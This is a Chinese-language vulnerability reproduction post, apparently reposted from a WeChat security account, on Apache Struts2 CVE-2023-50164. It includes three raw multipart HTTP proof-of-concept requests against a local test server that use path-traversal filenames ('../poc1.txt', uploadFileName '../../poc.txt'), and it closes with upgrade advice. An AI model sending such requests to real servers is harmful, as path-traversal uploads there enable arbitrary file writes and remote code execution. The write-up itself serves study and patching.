Apache Struts2 CVE-2023-50164漏洞复现

admin 2024年1月9日09:45:23评论48 views字数 2596阅读8分39秒阅读模式

一、漏洞背景

    Apache Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。Struts 2是Struts的下一代产品,是在 struts 1和WebWork的技术基础上进行了合并的全新的Struts 2框架。关于Apache Struts2中的远程代码执行漏洞(CVE-2023-50164),攻击者可利用该漏洞执行任意代码。

二、漏洞详情

    此漏洞是由于文件上传逻辑存在缺陷,攻击者可利用上传文件参数来启动路径遍历,从而上传恶意文件,导致远程代码执行

三、影响范围

2.5.0<=Apache Struts2<=2.5.32

6.0.0<=Apache Struts2<=6.3.0

四、漏洞复现

       第一步:首先导入tomcat配置,然后启动Apache Struts2环境(CVE-2023-50164环境在安全笔记标签里面),如下:

Apache Struts2 CVE-2023-50164漏洞复现

Apache Struts2 CVE-2023-50164漏洞复现

    第二步:然后利用poc1,可以成功上传文件,burp工具也可以成功上传。

POST /struts_war_exploded/upload.action HTTP/1.1Host: 127.0.0.1Accept: */*Accept-Encoding: gzip, deflateContent-Length: 242Content-Type: multipart/form-data; boundary=------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWNUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWNContent-Disposition: form-data; name="Upload"; filename="../poc1.txt"Content-Type: text/plain
1aaa--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN--
访问路径:http://127.0.0.1/struts_war_exploded/upload/poc1.txt

Apache Struts2 CVE-2023-50164漏洞复现

利用poc2,可以成功上传文件

POST /struts_war_exploded/upload.action HTTP/1.1Host: 127.0.0.1Accept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brContent-Type: multipart/form-data; boundary=----WebKitFormBoundary5WJ61X4PRwyYKlipContent-Length: 593
------WebKitFormBoundary5WJ61X4PRwyYKlipContent-Disposition: form-data; name="upload"; filename="poc2.txt"Content-Type: text/plain
test

------WebKitFormBoundary5WJ61X4PRwyYKlipContent-Disposition: form-data; name="caption";

{{randstr(4097,4097)}}
------WebKitFormBoundary5WJ61X4PRwyYKlip--
访问路径:http://127.0.0.1/struts_war_exploded/upload/poc2.txt

Apache Struts2 CVE-2023-50164漏洞复现

利用poc3,可以成功上传文件

POST /struts_war_exploded/upload.action HTTP/1.1Host: 127.0.0.1Accept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brContent-Type: multipart/form-data; boundary=----WebKitFormBoundary5WJ61X4PRwyYKlipContent-Length: 593
------WebKitFormBoundary5WJ61X4PRwyYKlipContent-Disposition: form-data; name="upload"; filename="poc3.txt"Content-Type: text/plain
test

------WebKitFormBoundary5WJ61X4PRwyYKlipContent-Disposition: form-data; name="uploadFileName";
../../poc.txt
------WebKitFormBoundary5WJ61X4PRwyYKlip--
访问路径:http://127.0.0.1/struts_war_exploded/upload/poc3.txt

Apache Struts2 CVE-2023-50164漏洞复现

五、漏洞修复建议

    目前官方已修复该漏洞,受影响用户可以升级更新到安全版本。官方下载链接:https://struts.apache.org/download.cgi

原文始发于微信公众号(安全笔记):Apache Struts2 CVE-2023-50164漏洞复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月9日09:45:23
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Apache Struts2 CVE-2023-50164漏洞复现http://cn-sec.com/archives/2376647.html

发表评论

匿名网友 填写信息